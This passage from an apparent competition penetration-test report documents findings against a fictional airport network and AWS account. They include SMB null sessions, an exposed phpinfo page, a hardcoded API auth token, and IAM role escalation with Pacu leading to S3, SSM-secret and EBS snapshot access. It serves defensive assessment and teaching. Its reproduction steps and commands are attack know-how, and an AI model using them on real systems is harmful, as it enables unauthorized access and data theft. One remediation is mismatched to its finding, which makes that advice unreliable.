1. Navigate to <https://v6yqfrnhvs4dilwcdw2jaqsevi0vghev.lambda-url.us-east-1.on.aws/>
2. Manipulate the ?message= parameter with any value to generate a barcode
3. Send the request, and note the JSON values returned from the web app.
4. Navigate to <http://rakmsbarcode20240111034800721800000004.s3-website-us-east-1.amazonaws.com/>, and add the value of the "path" key to the end of the URL. (ex: <http://rakmsbarcode20240111034800721800000004.s3-website-us-east-1.amazonaws.com/12345.svg>)
5. Send the request to download the respective .SVG file containing the barcode

## REMEDIATION

To mitigate unauthorized access of sensitive customer data, Finals-XX recommends the following actions:

1. **Access Controls:** Upgrade Nginx to the most recent stable version available.
2. **Implement custom error pages:** Implementing custom error pages will help avoid the disclosure of version information.

## REFERENCES

<https://portswigger.net/web-security/access-control/idor>

## SMB NULL SESSION

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N	4.3

### AFFECTED SYSTEMS

SKYCONTROL01.CORP.KKMS.LOCAL - 10.0.0.5

### DESCRIPTION

SMB null sessions allow attackers to authenticate to the domain without any credentials.

### BUSINESS IMPACT

This configuration allows an attacker to gain access to company resources without any credentials, potentially leading to a loss in data confidentiality.

### OBSERVATION

While performing enumeration with CrackMapExec, Finals-XX discovered one host using SMB null sessions.

```
[root@CPTC9 ~]# crackmapexec smb 10.0.0.5 -u '' -p ''
SMB      10.0.0.5      445      SKYCONTROL01      [*] Windows 10.0 Build 14393 x64 (name:SKYCONTROL01)
SMB      10.0.0.5      445      SKYCONTROL01      [+] corp.kkms.local\:
```

CrackMapExec Output

### STEPS TO REPRODUCE

1. Attempt to authenticate to any of the affected systems using null credentials.

### REMEDIATION

Remove the possibility for NULL sessions by editing the relevant configurations via Group Policy.

### REFERENCES

<https://www.blumira.com/integration/how-to-disable-null-session-in-windows/>

---

## PHP INFO EXPOSED

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N	4.3

### AFFECTED SYSTEMS

EmployeeTimeDB.corp.kkms.local - 10.0.0.43

TSA.guest.corp.kkms.local - 10.0.200.43

### DESCRIPTION

A publicly accessible */info.php* page was identified during Finals-XX's assessment. The presence of a publicly accessible */info.php* page poses a potential security risk by divulging an extensive amount of information that could provide attackers with valuable insights, potentially aiding in identifying and exploiting vulnerabilities.

### BUSINESS IMPACT

If left exposed, further updates to the web application could cause confidential information to be leaked in addition to the information already exposed which can be used to aid attackers in exploitation.

### OBSERVATION

The */info.php* page hosts the output of the `phpinfo()` function, which generates a comprehensive report containing an abundance of data regarding the server's PHP environment, including PHP version, extensions, configurations, and more. This wealth of information can potentially expose vulnerabilities in components and configurations, making it easier for malicious actors to target and exploit weaknesses in the system.

PHP Version 7.4.3-4ubuntu2.19



System	Linux TSA.guestlxms.local 5.4.0-113-generic #127-Ubuntu SMP Wed May 18 14:30:56 UTC 2022 x86_64
Build Date	Jun 27 2023 15:49:59
Server API	FFM FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/etc/php/7.4/fpm
Loaded Configuration File	/etc/php/7.4/fpm/php.ini
Scan this dir for additional .ini files	/etc/php/7.4/fpm/conf.d
Additional .ini files parsed	/etc/php/7.4/fpm/conf.d/10-mysqli.ini, /etc/php/7.4/fpm/conf.d/10-opcache.ini, /etc/php/7.4/fpm/conf.d/10-pdo.ini, /etc/php/7.4/fpm/conf.d/15-ps.ini, /etc/php/7.4/fpm/conf.d/15-xml.ini, /etc/php/7.4/fpm/conf.d/20-bcmath.ini, /etc/php/7.4/fpm/conf.d/20-calendar.ini, /etc/php/7.4/fpm/conf.d/20-ctype.ini, /etc/php/7.4/fpm/conf.d/20-curl.ini, /etc/php/7.4/fpm/conf.d/20-dom.ini, /etc/php/7.4/fpm/conf.d/20-ext.ini, /etc/php/7.4/fpm/conf.d/20-fil.ini, /etc/php/7.4/fpm/conf.d/20-mbstring.ini, /etc/php/7.4/fpm/conf.d/20-mcrypt.ini, /etc/php/7.4/fpm/conf.d/20-mysqli.ini, /etc/php/7.4/fpm/conf.d/20-pdo.ini, /etc/php/7.4/fpm/conf.d/20-pdo_mysqli.ini, /etc/php/7.4/fpm/conf.d/20-phar.ini, /etc/php/7.4/fpm/conf.d/20-pecl.ini, /etc/php/7.4/fpm/conf.d/20-pecl_mysqli.ini, /etc/php/7.4/fpm/conf.d/20-pecl_pdo.ini, /etc/php/7.4/fpm/conf.d/20-pecl_pdo_mysqli.ini, /etc/php/7.4/fpm/conf.d/20-readline.ini, /etc/php/7.4/fpm/conf.d/20-shmop.ini, /etc/php/7.4/fpm/conf.d/20-simplexml.ini, /etc/php/7.4/fpm/conf.d/20-sockets.ini, /etc/php/7.4/fpm/conf.d/20-system.ini, /etc/php/7.4/fpm/conf.d/20-sysvam.ini, /etc/php/7.4/fpm/conf.d/20-sysvshm.ini, /etc/php/7.4/fpm/conf.d/20-tokenizer.ini, /etc/php/7.4/fpm/conf.d/20-xdebug.ini, /etc/php/7.4/fpm/conf.d/20-xmlewriter.ini, /etc/php/7.4/fpm/conf.d/20-xmlreader.ini, /etc/php/7.4/fpm/conf.d/20-xsl.ini
PHP API	20190902
PHP Extension	20190902
Zend Extension	322190902
Zend Extension Build	API322190902.NTS
PHP Extension Build	API20190902.NTS
Debug Build	0
Thread Safety	disabled
Zend Signal Handling	enabled
Zend Memory Manager	enabled
Zend Multibyte Support	provided by mbstring
IPv6 Support	enabled
DTrace Support	available, disabled
Registered PHP Streams	http, https, compress.zlib, php, file, glob, data, http, ftp, phar
Registered Stream Socket Transports	tcp, udp, unix, udg, ssl, tls, tlsv1.0, tlsv1.1, tlsv1.2, tlsv1.3
Registered Stream Filters	zlib*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert*, consumed, dechunk, convert.iconv*

This program makes use of the Zend Scripting Language Engine.  
 Zend Engine v3.4.0, Copyright (c) Zend Technologies  
 with Zend OPcache v7.4.3-4ubuntu2.19, Copyright (c) by Zend Technologies  
 with Xdebug v2.9.2, Copyright (c) 2002-2020, by Derick Rethans



Screenshot depicting PHP Info

## STEPS TO REPRODUCE

1. Browse to the /info.php endpoint on either of the affected systems.

## REMEDIATION

To mitigate this information disclosure, [REDACTED] recommends the following actions:

1. **Disable phpinfo()**: Disable the phpinfo() functionality

## REFERENCES

<https://docs.backdropcms.org/documentation/enabling-and-disabling-phpinfo>

## HARDCODED AUTH TOKEN

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L	4.3

### AFFECTED SYSTEMS

AFWS.CORP.KKMS.LOCAL - 10.0.0.100

### DESCRIPTION

An attacker can create new Flights by exploiting a poor authentication implementation.

### BUSINESS IMPACT

The impacts of an attacker being able to create new flights without prior authorization can be significant and pose several risks such as:

- 1. Data Integrity and Accuracy:**
  - Unauthorized creation of flights can lead to inaccurate and unreliable data within the system.
- 2. Financial Loss:**
  - If the system is used for managing bookings and ticket sales, unauthorized creation of flights could lead to financial losses. Fraudulent flights may be created, and tickets could be sold without proper payment, impacting revenue.
- 3. Customer Experience:**
  - Customers may be affected by incorrect flight information or by the system being compromised.

### OBSERVATION

Finals-XX noticed a section of JavaScript that looks for an auth header which is hard-coded.

```
const xhr = new XMLHttpRequest();
xhr.open('GET', full_url, true);
xhr.setRequestHeader("Auth", "FCKGW-RHQQ2-YXRKT-8TG6W-2B7Q8");
xhr.onreadystatechange = function (e) {
    if (xhr.readyState === 4 && xhr.status !== 200) {
        reject(xhr.status + " " + xhr.responseText);
    }
}
xhr.ontimeout = function () {
    reject('timeout');
}
xhr.onloadend = function (result) {
```

Hard-coded Auth Header in JavaScript

When the auth token is added, any user can add a new flight to the dashboard.

4744		Scheduled	3SC	I26	E46	w50	8/11/2023, 12:00:10 AM	8/11/2023, 9:00:10 PM
555	■	altsosus	3SC	altsosus	PTF	altsosus	10/15/2023, 10:05:35 AM	10/16/2023, 4:05:35 AM
	■	altsosus	3SC	altsosus	PTF	altsosus	10/15/2023, 10:05:35 AM	10/16/2023, 4:05:35 AM
	■	altsosus	3SC	altsosus	PTF	altsosus	10/15/2023, 10:05:35 AM	10/16/2023, 4:05:35 AM

*Added Flights*

## STEPS TO REPRODUCE

1. Make a post request to the `10.0.0.100/flight` endpoint
2. Include a JSON body with the following fields: `OriginIATA`, `DestinationIATA`, `AircraftType`, `FlightNumber`, `Status`, `OriginGate`, `DestinationGate`
3. Include the hardcoded auth header
4. Notice the response contains a newly created flight

## REMEDIATION

To mitigate this vulnerability, Finals-XX recommends the following actions:

1. **Authentication:** Implement cryptographically secure authentication for the API endpoint to ensure that access is restricted to authenticated users only.

## REFERENCES

<https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf>

**SENSITIVE INFORMATION IN S3 BUCKET DEV-S3-ROLE**

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N	4.3

**AFFECTED SYSTEMS**

Role:

ctf-starting-user accounts assuming the role of the dev-s3-role

Bucket:

This affects the kalka-passes20240111034800610800000003 bucket

**dev-s3-policy**

arn:aws:iam::677302527522:policy/dev-s3-policy

```
{
  "Statement": [
    {
      "Action": [
        "s3:Get*",
        "s3>List*"
      ],
      "Effect": "Allow",
      "Resource": [
        "arn:aws:s3:::kalka-passes*"
      ]
    }
  ],
  "Version": "2012-10-17"
}
```

**Attached Entities**

- Roles
  - [dev-s3-role](#)

**DESCRIPTION**

Starting with the ctf-starting-user-4, Finals-XX was able to assume the role of dev-s3-role which had download access of the "kalka-passes\*" bucket. This bucket contained many customer boarding tickets containing sensitive information.

## BUSINESS IMPACT

This exposes sensitive customer passenger tickets stored in AWS and allows the attacker to exfiltrate the sensitive customer tickets.

## OBSERVATION

Finals-XX used a ScoutSuite scan to find permissions in RAKMS AWS environment. Finals-XX then assumed the role of dev-s3-role which was able to dump the kalka-passes bucket.

## STEPS TO REPRODUCE

1. use aws cli to configure access for the ctf-starting-user-4
2. Assume the dev-s3-role
3. download the s3 bucket by using aws cli sync
4. This bucket contained ~50 instances of customer airplane tickets

## REMEDIATION

Either remove the Assume-Role permission for ctf-starting-user accounts on dev-s3-role or remove dev-s3-role's permission to dump the kalka-passes\* database depending on which solution makes more sense in the environment. Ensure the principle of least privileges is followed when configuring access in AWS.

## REFERENCES

<https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/>

**SENSITIVE INFORMATION IN S3 BUCKET DEV-BARCODE-ROLE**

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N	4.3

**AFFECTED SYSTEMS**

Roles:

ctf-starting-user-4 assuming the roles of dev-barcode-role

S3 Bucket

arn:aws:s3:::rakmsbarcode20240111034800721800000004

**dev-barcode-policy**

arn:aws:iam::677302527522:policy/dev-barcode-policy

```
{
  "Statement": [
    {
      "Action": [
        "s3>List*",
        "s3:Get*"
      ],
      "Effect": "Allow",
      "Resource": [
        "arn:aws:s3:::rakmsbarcode20240111034800721800000004",
        "arn:aws:s3:::rakmsbarcode20240111034800721800000004/*"
      ]
    }
  ],
  "Version": "2012-10-17"
}
```

**Attached Entities**

- Roles
  - [dev-barcode-role](#)

**DESCRIPTION**

Finals-XX was able to assume the roles of a higher privilege user and download a S3 bucket that contained sensitive passenger ticket barcodes that contained customer information.

## BUSINESS IMPACT

This exposes the barcodes that are stored on the passenger tickets, as well as an AWS url that enables the AWS IDOR vulnerability listed in this report. These barcodes contain customer information such as names, time, gate, and flight.

## OBSERVATION

Finals-XX used ScoutSuite to scan the AWS environment and find ways to escalate permissions. The dev-barcode-role was found to have access to download over the

## STEPS TO REPRODUCE

1. Configure ctf-starting-user-4 for aws cli
2. using Pacu, assume\_role of dev-barcode-role
3. use aws s3 sync to download this bucket: rakmsbarcode20240111034800721800000004

## REMEDIATION

Follow the principle of least privilege when configuring access in AWS. Either remove the ability for the ctf-starting-user accounts to assume the dev-barcode-role account or remove dev-barcode-roles permission to download the bucket.

## REFERENCES

<https://docs.aws.amazon.com/prescriptive-guidance/latest/defining-bucket-names-data-lakes/handling-sensitive-data.html>

## INSECURE BAG CHECK-IN

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L	4.2

### AFFECTED SYSTEMS

BAGGAGECHECKIN.CORP.KKMS.LOCAL - 10.0.0.33

### DESCRIPTION

An attacker can print out another person's baggage label if they know their name and flight.

### BUSINESS IMPACT

The disruption or alteration of baggage services could result in several consequences:

1. **Customer Dissatisfaction:** Inefficiencies in the baggage check-in process may frustrate customers, potentially leading to a decline in customer satisfaction.
2. **Need for Extra Personnel:** The demand for more staff to manage the heightened workload could strain resources, possibly affecting other airport operations and leading to further operational challenges.

### OBSERVATION

Finals-XX noted that only first name and last name were required to check in.

Robert A Kalka Metropolitan Skyport  
Baggage Checkin

Passenger Selection

First Name	Enter First Name
Last Name	Enter Last Name
<b>Confirm</b>	

Check-In Page

An attacker can print out the baggage tags if they know a person's name on a flight.

## STEPS TO REPRODUCE

1. Access the baggage claim system, and enter a valid name, and flight time.
2. View the Customer's baggage check-in data.

## REMEDIATION

To prevent unauthorized access to the baggage check-in system, Finals-XX recommends the following:

1. **Unique Confirmation Number:** Implement a system where each user is assigned a unique confirmation number. This number is sent to the user's registered email, enhancing security by requiring more than just the user's name for authentication.
2. **Email-Based Authentication:** Utilize the user's email as a key part of the authentication process. The unique confirmation number sent to their email ensures more secure and personalized access to the web portal.

## REFERENCES

[https://owasp.org/Top10/A01\\_2021-Broken\\_Access\\_Control/](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)

## AWS ASSUME ROLE PRIVILEGE ESCALATION

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N	4.1

### AFFECTED SYSTEMS

Starting Users:

- ctf-starting-user-\* (all of them)

Roles that can be assumed:

- dev-lambda-role
- secret\_viewer
- secrets\_viewer
- dev-s3-role
- dev-barcode-role
- dev2-lambda-role
- dev-lambda-bar-role
- dev1-role
- dev2-role

### DESCRIPTION

Starting with the ctf-starting-user-4 credentials given to us during this assessment, Finals-XX was able to assume the roles and gain new privileges to 9 different roles in the RAKMS AWS environment.

### BUSINESS IMPACT

This allows any of the low-level ctf-starting-user IAM users to elevate permissions and gain further access into AWS systems. A new employee or intern given one of these accounts or could be compromised and lead to a breach of sensitive data and systems in AWS.

### OBSERVATION

Finals-XX ran a ScoutSuite scan using the original AWS credentials of ctf-starting-user-4 given to us for this engagement. Finals-XX was able to see all the roles in the RAKMS environment and which ones allowed all the ctf-starting-user accounts to assume them. From here, Finals-XX enumerated the 9 roles assumed and gained further sensitive data and access to the AWS environment.

### STEPS TO REPRODUCE

1. Configure AWS credentials for ctf-starting-user-4 in the aws cli
2. Run the Pacu tool and then import\_keys of the account credentials stored in the aws cli
3. Now, the user has assumed the new roles and permission of one of the 9 roles vulnerable

```
Pacu (new:imported-finals) > set_regions us-east-1
Session regions changed: ['us-east-1']
Pacu (new:imported-finals) > assume_role arn:aws:iam::677302527522:role/dev1-role
AWS key is now new/arn:aws:sts::677302527522:assumed-role/dev1-role/assume-role.
Pacu (new:new/arn:aws:sts::677302527522:assumed-role/dev1-role/assume-role) > -
```

*Example assume\_role escalation for the dev1-role*

## REMEDIATION

Ensure that the least privileges principle is followed when configuring user permissions within AWS. Verify if all the ctf-starting-user accounts need the ability to assume 9 other roles.

## REFERENCES

[https://docs.aws.amazon.com/STS/latest/APIReference/API\\_AssumeRole.html](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html)  
<https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/>

## IMPROPER INPUT VALIDATION

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N	3.5

### AFFECTED SYSTEMS

TSA.GUEST.CORP.KKMS.LOCAL - 10.0.200.43

### DESCRIPTION

Improper input validation allows servers to accept data that does not follow business logic, which can result in consequences during data manipulation steps later.

### BUSINESS IMPACT

If the input is handled incorrectly, downstream components could behave in erratic ways, resulting in downtime and revenue loss.

### OBSERVATION


Input validation is an important part of web application security to make sure user input is not used maliciously such as in injection attacks.

Finals-XX found one web application that implements client-side validation to verify that only integers are entered in an ID field. This is done by refreshing the page whenever a non-numeric key is pressed.



Request with Numeric ID

And the following request uses an ID of ‘test’ which responds the same.



*Request with Non-Numeric ID*

While it cannot be confirmed, Finals-XX asserts that it is likely this data was accepted by the back-end server. The team cannot confirm how the input is handled, so the finding is ranked accordingly.

## STEPS TO REPRODUCE

1. Intercept a request sent to the endpoint with a numeric ID
2. Change the ID to be non-numeric
3. Send the packet
4. Verify the web application accepts the request similarly to when it accepts a numeric ID.

## REMEDIATION

A better method to validate user input such as regular expression or if-statements in the front-end JavaScript should be used. Ensure that the backend is also validating input as well using proper logic control when handling the user input.

## REFERENCES

<https://cwe.mitre.org/data/definitions/20.html>

[https://cheatsheetseries.owasp.org/cheatsheets/Input\\_Validation\\_Cheat\\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)

## AWS SECRETS FOUND

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N	3.5

## AFFECTED SYSTEMS

Roles:

- dev1-role
- dev2-role
- secret\_viewer
- secrets\_viewer

SSM Keys

- arn:aws:ssm:us-east-1:677302527522:parameter/target/dev/thingy1
- arn:aws:ssm:us-east-1:677302527522:parameter/target/dev/thingy2
- arn:aws:ssm:us-east-1:677302527522:parameter/target/password/another-secret
- arn:aws:ssm:us-east-1:677302527522:parameter/testdeploy/password/secrets

## DESCRIPTION

Starting with the ctf-starting-user-4, Finals-XX was able to assume the roles of secret\_viewer, secrets\_viewer, dev2-role, and dev1-role. Each of these roles had access to a single aws ssm secure string which was decrypted with the aws cli. Finals-XX was unable to use these secrets to gain further access in the AWS environment.

## BUSINESS IMPACT

This could lead to further access into the AWS environment, and potentially lead to sensitive customer data being breached. An attacker could also be able to use the keys to potentially interact with sensitive RAKMS systems hosted in AWS depending on what they are for.

## OBSERVATION

Finals-XX used the Pacu tool for our AWS testing. Finals-XX imported the keys for ctf-starting-user-4 which were given to us, then Finals-XX assumed each of the 4 roles previously specified. Our team also ran a ScoutSuite scan to enumerate the permissions each role had. Using the scan information, Finals-XX was able to use the aws cli to see and decrypt a Secure-String for each role.

## STEPS TO REPRODUCE

1. Use the Pacu tool and import-Keys of ctf-starting-user-4
2. Assume the role of one of the 4 roles such as secret\_viewer
3. Use the respective ssm key and obtain it using this command

```
[root@ctf-new-session:~]# aws ssm get-parameter --name /testDeploy/password/secrets
{
    "Parameter": {
        "Name": "/testDeploy/password/secrets",
        "Type": "SecureString",
        "Value": "AQIDbGJHSEL5oywTE039ewU1XK57Mg2hrrmzsgknsW4DPlugf9HcP0nLkf72L6u4C7BAAALjBWhgkjh10uwhwsgz3hkgJmpAc5q23h000Hh7Av8g1gh4g82QhA5Av0Q9hF
mgQapK0PydN0Ag1ogCD9PceP00021WB43L4Lj310hCvz8Chqvmt998PL3D,Lm--",
        "Version": 1,
        "LastModifiedDateTime": "2024-01-18T22:44:01.447000-05:00",
        "ARN": "arn:aws:ssm:us-east-1:677380527522:parameter/testDeploy/password/secrets",
        "DataType": "text"
    }
}
```

*Encrypted SecureString*

4. Use the –decrypt-key
5. Repeat for the other 3 vulnerable roles

## REMEDIATION

If these Secure-Strings are supposed to be private or allow further access into the AWS environment, ensure that the ctf-starting-users are not able to assume any of these 4 roles or remove the permission for each of these roles to have access to an ssm secret.

## REFERENCES

<https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc>

---

## DIRECTORY LISTING ENABLED

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N	0.0

### AFFECTED SYSTEMS

AFWS.CORP.KKMS.LOCAL - 10.0.0.100:7000/assets

### DESCRIPTION

Directory listing allows an attacker to view files or filenames on the local machine in a web browser.

### BUSINESS IMPACT

An attacker has more information on the frameworks and technologies in use, making subsequent attacks more likely.

### OBSERVATION


Finals-XX discovered a host that had directory listing enabled for the asset's directory. This disclosed the following filenames.

The screenshot shows a web browser window with the title "Index of /assets/". The address bar indicates the URL is "10.0.0.100/assets/" and includes a "Not secure" warning. The main content area displays a table titled "Index of /assets/". The table has three columns: "Name", "Size", and "Last Modified". The data rows are as follows:

Name	Size	Last Modified
images/		01/09/2024 09:05:33 +00:00
fonts/		01/09/2024 09:05:33 +00:00
tuicss.min.js	2,928	01/07/2024 20:02:40 +00:00
core.js	1,664	01/07/2024 20:02:40 +00:00
db.sqlite	5,222,400	01/07/2024 20:02:40 +00:00
db.sqlite-wal	24,752	01/12/2024 21:57:40 +00:00
tuicss.min.css	34,470	01/07/2024 20:02:40 +00:00
db.sqlite-shm	32,768	01/12/2024 21:57:55 +00:00
dashboard.js	2,461	01/07/2024 20:02:40 +00:00
style.css	735	01/07/2024 20:02:40 +00:00

*Directory Listing*

The JavaScript and CSS files could be viewed in the browser while the SQLite data files could not. The severity has been lowered accordingly.



*Database File*

## STEPS TO REPRODUCE

1. Go to the URL at 10.0.0.100/assets
2. Notice the list of files/directories in the assets folder being displayed

## REMEDIATION

Disable directory listing in the web application and move the database files to a different more secure folder if possible.

## REFERENCES

<https://cwe.mitre.org/data/definitions/548.html>

## EOL NGINX VERSION

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N	0.0

## AFFECTED SYSTEMS

TRAM1.GUEST.KKMS.LOCAL - 10.0.200.101

TRAM2.GUEST.KKMS.LOCAL - 10.0.200.102

TRAM3.GUEST.KKMS.LOCAL - 10.0.200.103

## DESCRIPTION

An End-of-life version of Nginx (1.18.0) was discovered during the assessment. End-of-life software is no longer supported and will not receive any patches. As time goes on the likelihood this software is exploited greatly increases.

## BUSINESS IMPACT

In the event of an exploit being found for this NGINX version, attackers may severely disrupt tram operations by manipulating control systems, such as altering tram speeds, posing serious safety risks and potential financial losses.

## OBSERVATION

Finals-XX discovered the End-of-life version of Nginx (1.18.0) via a 404 Not Found error page.



Error Page Depicting Nginx Version

## STEPS TO REPRODUCE

1. Navigate to the IP address of the affected systems
2. Notice the 404 not found error page, revealing the EOL Nginx version (1.18.0)

## REMEDIATION

To mitigate potential vulnerabilities and enhance the security of the Nginx server, Finals-XX recommends the following actions:

1. **Patch and Update:** Upgrade Nginx to the most recent stable version available.
2. **Implement custom error pages:** Implementing custom error pages will help avoid the disclosure of version information.

## REFERENCES

<https://vuldb.com/?ctiid.155282>

## SSH PERMITROOTLOGIN

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:N	0.0

### AFFECTED SYSTEMS

EMPLOYEEETIME-DB.CORP.KKMS.LOCAL - 10.0.0.43

### DESCRIPTION

In the event that root credentials are disclosed, an attacker may log into this system remotely via SSH.

### BUSINESS IMPACT

If an attacker were to gain root credentials, they would be able to access the system with the highest level of permissions remotely leading to severe disruption of business operations and leaking of personal information.

### OBSERVATION

During a vulnerability assessment, a specific configuration setting was detected within the /etc/ssh/sshd\_config file. This configuration, which permits root user login via SSH, poses a security concern.

```
PermitRootLogin yes
PasswordAuthentication yes
UsePAM yes
```

*SSH Config, permit root login*

### STEPS TO REPRODUCE

1. View PermitRootLogin value within /etc/ssh/sshd\_config on affected system.

### REMEDIATION

To mitigate this vulnerability, Finals-XX recommends the following actions:

1. **Disable Root Login:** To restrict root user login, disable *PermitRootLogin* in the /etc/ssh/sshd\_config file. Finals-XX strongly recommends only employing this configuration when strictly necessary for critical business functions.

## REFERENCES

[https://www.tenable.com/audits/items/CIS\\_Red\\_Hat\\_EL7\\_STIG\\_v2.0.0\\_L1\\_Server.audit:464e688c7f15c8990e6308faf2ab79c1](https://www.tenable.com/audits/items/CIS_Red_Hat_EL7_STIG_v2.0.0_L1_Server.audit:464e688c7f15c8990e6308faf2ab79c1)

## PUBLICLY ACCESSIBLE S3 BUCKET

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:N	0.0

### AFFECTED SYSTEMS

<http://rakmstoolrequisition20231009225108646300000003.s3-website-us-west-2.amazonaws.com/>

### DESCRIPTION

It is considered best practice to host beta applications in a pre-production environment and not be accessible to anyone on the internet due to the increased risk of vulnerabilities in unfinished applications.

### BUSINESS IMPACT

This site being open to the internet with no authentication allows anyone to purchase and order a tool from RAKMS. An attacker could maliciously place orders which could cause financial losses if left unchecked.

### OBSERVATION

This S3 bucket is hosted in the RAKMS AWS environment and can be visited and interacted with by anyone. This could potentially lead to exploitation and is an unnecessary risk in the environment.



AWS hosted webserver.

### STEPS TO REPRODUCE

1. Visit the S3 AWS website from an external connection. You are still able to access this site and make orders without authentication.

## **REMEDIATION**

RAKMS should restrict public access to this s3 bucket as it is only for internal use. The AWS administrator would need to change the block public access settings in the AWS console to restrict access to employees only. An IAM policy that only traffic from whitelisted IP ranges can access this application could also be implemented.

## **REFERENCES**

<https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html>

## UNENCRYPTED EBS VOLUMES IN AWS

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N	0.0

### AFFECTED SYSTEMS

AWS EBS Volumes

### DESCRIPTION

It is considered best practice to encrypt databases, to reduce the risk of unauthorized access to information. An unencrypted database is a much higher risk to have in the environment than an encrypted one.

### BUSINESS IMPACT

This could open up the potential for privilege escalation attacks or a breach of sensitive data depending on what is stored on the EBS volumes. Widens the scope of attack against RAKMS if a low-level AWS user is compromised.

### OBSERVATION

As the ctf-starting-user-27 which was given to [REDACTED] by Ted Striker, Finals-XX was able to see and download 4 unencrypted EBS volume snapshots. Unfortunately, due to network and time limitations, Finals-XX was unable to verify the specific contents of these volumes. If there is sensitive information housed inside of these drives, a low-level malicious user in the AWS environment could be able to read and exfiltrate sensitive information. Finals-XX used the Pacu tool to obtain these snapshots.

```
pacu@ctf-starting-user-27:~/Desktop$ ./pacu.py
[...]
[aws_enumerate_volumes_snapshots] Starting region us-east-1 (this may take a while if there are thousands of EBS volumes/snapshots)...
[aws_enumerate_volumes_snapshots] 4 volume(s) Found
[aws_enumerate_volumes_snapshots] 0 snapshot(s) Found
[aws_enumerate_volumes_snapshots] Writing data for 4 volumes...
[aws_enumerate_volumes_snapshots] Writing data for 0 snapshots...
[aws_enumerate_volumes_snapshots] aws_enumerate_volumes_snapshots completed.

[aws_enumerate_volumes_snapshots] MODULE SUMMARY:
4 Volumes Found
0 Snapshots Found
Unencrypted volume information written to:
unencrypted_ebs_volumes_17951379231-6322867.csv
Unencrypted snapshot information written to:
unencrypted_ebs_snapshots_17951379231-6322867.csv
Select Snapshot: -
```

Unencrypted EBS snapshots

A	B	C	D	E
1	Volume Name	Volume ID	Region	
2		vol-0cdf0c903ca1c15aa	us-east-1	
3		vol-0ea9809833dd8c43a	us-east-1	
4		vol-0997e2787dfe697a3	us-east-1	
5		vol-04b03c3b69792c4e1	us-east-1	
6				
7				

*EBS Volume ID's*

## STEPS TO REPRODUCE

1. add ctf-starting-user-27 credentials into Pacu configure
2. run ebs\_\_download\_snapshots volume in Pacu

## REMEDIATION

It is recommended to enable encryption on EBS volumes by default. This can be set up within the AWS console as an administrator (See References).

## REFERENCES

<https://aws.amazon.com/blogs/compute/must-know-best-practices-for-amazon-ebs-encryption/>  
<https://rules.sonarsource.com/cloudformation/RSPEC-6275/>  
<https://github.com/RhinoSecurityLabs/pacu>

## UPCOMING ACM CERTIFICATE EXPIRATION

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N	0.0

### AFFECTED SYSTEMS

cptc-aws-vpn.cyberrange.rit.edu

### DESCRIPTION

When an ACM (Amazon Certificate Manager) digital certificate expires, it can lead to a loss of secure HTTPS connections and potentially expose sensitive data to interception or compromise due to the lack of valid encryption on the associated websites or services.

### BUSINESS IMPACT

There are various impacts expired ACM certificates can have on the business:

1. **Operational Disruption and Downtime:** Expired ACM certificates can cause critical systems to fail, leading to service outages and impacting customer access.
2. **Security Concerns:** With expired certificates, communication between servers and clients becomes insecure, increasing the risk of data breaches and breaking user trust.

### OBSERVATION

ACM Certificate 3c979ef1-6285-477b-83f1-f51e81fc1c4d for cptc-aws-vpn.cyberrange.rit.edu is about to expire in 7 days. Ensure that this does not expire as this could lead to regulation issues (see references). The Prowler tool was used with ctf-starting-user-27 permission to find this.

### STEPS TO REPRODUCE

1. Run Prowler on the AWS instance, with the provided ctf-starting-user-27 user
2. Notice the finding stating the upcoming expired Certificate

### REMEDIATION

Follow the AWS documentation in the references to manage ACM certificate renewal.

### REFERENCES

<https://docs.aws.amazon.com/acm/latest/userguide/managed-renewal.html>

**DEV VARIABLE ALLOWS UNLIMITED SESSION LIMIT**

CVSS Vector String	CVSSv3 Score
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N	0.0

**AFFECTED SYSTEMS**

BAGGAGECLAIM.CORP.KKMS.LOCAL - 10.0.0.33

**DESCRIPTION**

Due to insecure JavaScript, an attacker can go through the baggage check-in process without creating a session.

**BUSINESS IMPACT**

An attacker will not need to create a new session, meaning they are more able to perform other exploits more easily.

**OBSERVATION**

